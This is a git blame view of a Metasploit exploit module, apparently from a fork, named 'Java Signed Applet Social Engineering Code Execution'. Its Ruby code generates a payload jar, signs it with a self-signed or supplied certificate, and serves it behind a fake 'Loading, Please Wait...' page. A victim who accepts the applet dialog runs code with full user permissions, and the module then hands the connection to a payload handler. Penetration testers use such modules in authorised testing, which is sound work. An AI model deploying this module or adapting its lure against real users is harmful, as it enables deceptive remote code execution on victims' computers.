Files
metasploit-gs/modules/exploits/multi/browser/java_signed_applet.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

288 lines
9.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2011-05-25 18:02:02 +00:00
require 'rex/zip'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Java Signed Applet Social Engineering Code Execution',
'Description' => %q{
This exploit dynamically creates a .jar file via the
2025-06-20 13:20:44 +01:00
Msf::Exploit::Java mixin, then signs the it. The resulting
signed applet is presented to the victim via a web page with
an applet tag. The victim's JVM will pop a dialog asking if
they trust the signed applet.
On older versions the dialog will display the value of CERTCN
in the "Publisher" line. Newer JVMs display "UNKNOWN" when the
signature is not trusted (i.e., it's not signed by a trusted
CA). The SigningCert option allows you to provide a trusted
code signing cert, the values in which will override CERTCN.
If SigningCert is not given, a randomly generated self-signed
cert will be used.
Either way, once the user clicks "run", the applet executes
with full user permissions.
},
'License' => MSF_LICENSE,
'Author' => [ 'natron' ],
'References' => [
2015-10-27 12:41:32 -05:00
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
],
2025-06-20 13:20:44 +01:00
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' => [
[
'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
2025-06-20 13:20:44 +01:00
[
'Windows x86 (Native Payload)',
{
'Platform' => 'win',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
}
],
2025-06-20 13:20:44 +01:00
[
'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
}
],
2025-06-20 13:20:44 +01:00
[
'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_PPC
}
],
2025-06-20 13:20:44 +01:00
[
'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
}
]
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 1,
'DisclosureDate' => '1997-02-19',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
register_options([
OptString.new('CERTCN', [
true,
"The CN= value for the certificate. Cannot contain ',' or '/'",
2025-12-17 17:11:13 -05:00
'SiteLoader'
2025-06-20 13:20:44 +01:00
]),
OptString.new('APPLETNAME', [
true,
"The main applet's class name.",
2025-12-17 17:11:13 -05:00
'SiteLoader'
2025-06-20 13:20:44 +01:00
]),
OptPath.new('SigningCert', [
false,
2025-12-17 17:11:13 -05:00
'Path to a signing certificate in PEM or PKCS12 (.pfx) format'
2025-06-20 13:20:44 +01:00
]),
OptPath.new('SigningKey', [
false,
2025-12-17 17:11:13 -05:00
'Path to a signing key in PEM format'
2025-06-20 13:20:44 +01:00
]),
OptString.new('SigningKeyPass', [
false,
2025-12-17 17:11:13 -05:00
'Password for signing key (required if SigningCert is a .pfx)'
2025-06-20 13:20:44 +01:00
]),
])
end
2013-08-30 16:28:54 -05:00
def setup
load_cert
load_applet_class
super
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def on_request_uri(cli, request)
2025-12-17 17:11:13 -05:00
if !request.uri.match(/\.jar$/i)
if !request.uri.match(%r{/$})
send_redirect(cli, get_resource + '/', '')
return
end
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
print_status('Handling request')
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
return
end
2013-08-30 16:28:54 -05:00
p = regenerate_payload(cli)
2025-12-17 17:11:13 -05:00
if !p
print_error('Failed to generate the payload.')
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
2013-08-30 16:28:54 -05:00
# If we haven't returned yet, then this is a request for our applet
# jar, build one for this victim.
2025-12-17 17:11:13 -05:00
jar = p.encoded_jar(random: true)
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
jar.add_file("#{datastore['APPLETNAME']}.class", @applet_class)
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
jar.build_manifest(main_class: 'metasploit.Payload', app_name: "#{datastore['APPLETNAME']}")
2013-08-30 16:28:54 -05:00
jar.sign(@key, @cert, @ca_certs)
2025-06-20 13:20:44 +01:00
# File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
2013-08-30 16:28:54 -05:00
2012-04-20 13:31:42 -06:00
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
2025-12-17 17:11:13 -05:00
send_response(cli, jar.to_s, { 'Content-Type' => 'application/octet-stream' })
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
handler(cli)
end
2013-08-30 16:28:54 -05:00
def load_applet_class
2025-12-17 17:11:13 -05:00
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
if datastore['APPLETNAME']
unless datastore['APPLETNAME'] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
fail_with(Failure::BadConfig, 'APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)')
end
2025-12-17 17:11:13 -05:00
siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }
# Java strings are prefixed with a 2-byte, big endian length
2025-12-17 17:11:13 -05:00
find_me = ['SiteLoader'.length].pack('n') + 'SiteLoader'
idx = siteloader.index(find_me)
2025-12-17 17:11:13 -05:00
len = [datastore['APPLETNAME'].length].pack('n')
# Now replace it with the new class name
2025-12-17 17:11:13 -05:00
siteloader[idx, 'SiteLoader'.length + 2] = len + datastore['APPLETNAME']
else
# Don't need to replace anything, just read it in
2025-12-17 17:11:13 -05:00
siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }
end
@applet_class = siteloader
end
2013-08-30 16:28:54 -05:00
def load_cert
2025-12-17 17:11:13 -05:00
if datastore['SigningCert']
cert_str = File.open(datastore['SigningCert'], 'rb') { |fd| fd.read(fd.stat.size) }
begin
2025-12-17 17:11:13 -05:00
pfx = OpenSSL::PKCS12.new(cert_str, datastore['SigningKeyPass'])
@cert = pfx.certificate
2025-06-20 13:20:44 +01:00
@key = pfx.key
@ca_certs = pfx.ca_certs
rescue OpenSSL::PKCS12::PKCS12Error
# it wasn't pkcs12, try it as concatenated PEMs
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
@cert = OpenSSL::X509::Certificate.new(certs.shift)
@ca_certs = nil
while certs.length > 0
@ca_certs ||= []
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
end
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
if datastore['SigningKey'] and File.file?(datastore['SigningKey'])
File.open(datastore['SigningKey'], 'rb') { |fd| fd.read(fd.stat.size) }
else
2025-12-17 17:11:13 -05:00
cert_str
end
2013-08-30 16:28:54 -05:00
# First try it as RSA and fallback to DSA if that doesn't work
begin
2025-12-17 17:11:13 -05:00
@key = OpenSSL::PKey::RSA.new(cert_str, datastore['SigningKeyPass'])
rescue OpenSSL::PKey::RSAError
@key = OpenSSL::PKey::DSA.new(cert_str, datastore['SigningKeyPass'])
end
end
else
# Name.parse uses a simple regex that isn't smart enough to allow
# slashes or commas in values, just remove them.
2025-12-17 17:11:13 -05:00
certcn = datastore['CERTCN'].gsub(%r{[/,]}, '')
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
2025-06-20 13:20:44 +01:00
)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
@key = OpenSSL::PKey::DSA.new(1024)
@cert = OpenSSL::X509::Certificate.new
@cert.version = 2
@cert.serial = 1
@cert.subject = x509_name
@cert.issuer = x509_name
@cert.public_key = @key.public_key
@cert.not_before = Time.now
# FIXME: this will break in the year 2037 on 32-bit systems
@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year
end
end
2013-08-30 16:28:54 -05:00
def generate_html
2025-12-17 17:11:13 -05:00
html = %(<html><head><title>Loading, Please Wait...</title></head>\n)
html << %(<body><center><p>Loading, Please Wait...</p></center>\n)
html << %(<applet archive="#{get_resource.sub(%r{/$}, '')}/#{datastore['APPLETNAME']}.jar"\n)
2011-07-15 18:45:05 +00:00
vprint_line(html)
if @use_static
2025-12-17 17:11:13 -05:00
html << %( code="SiteLoader" width="1" height="1">\n)
else
2025-12-17 17:11:13 -05:00
html << %( code="#{datastore['APPLETNAME']}" width="1" height="1">\n)
end
2025-12-17 17:11:13 -05:00
html << %(</applet>\n</body></html>)
return html
end
2013-08-30 16:28:54 -05:00
# Currently unused until we ship a java compiler of some sort
def applet_code
2025-12-17 17:11:13 -05:00
<<~EOS
2025-06-20 13:20:44 +01:00
import java.applet.*;
import metasploit.*;
2025-12-17 17:11:13 -05:00
public class #{datastore['APPLETNAME']} extends Applet {
2025-06-20 13:20:44 +01:00
public void init() {
try {
Payload.main(null);
} catch (Exception ex) {
//ex.printStackTrace();
}
}
}
EOS
end
end
=begin
The following stores a bunch of intermediate files on the path to creating the signature. The
ImportKey class used for testing was obtained from:
http://www.agentbob.info/agentbob/79-AB.html
2012-06-19 19:43:29 -05:00
system("rm -rf signed_jar/*")
File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }
File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }
File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }
2012-06-19 19:43:29 -05:00
File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")
system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")
system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")
system("mv ~/keystore.ImportKey ~/.keystore")
2012-06-19 19:43:29 -05:00
system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")
jar.sign(@key, @cert)
2012-06-19 19:43:29 -05:00
File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }
=end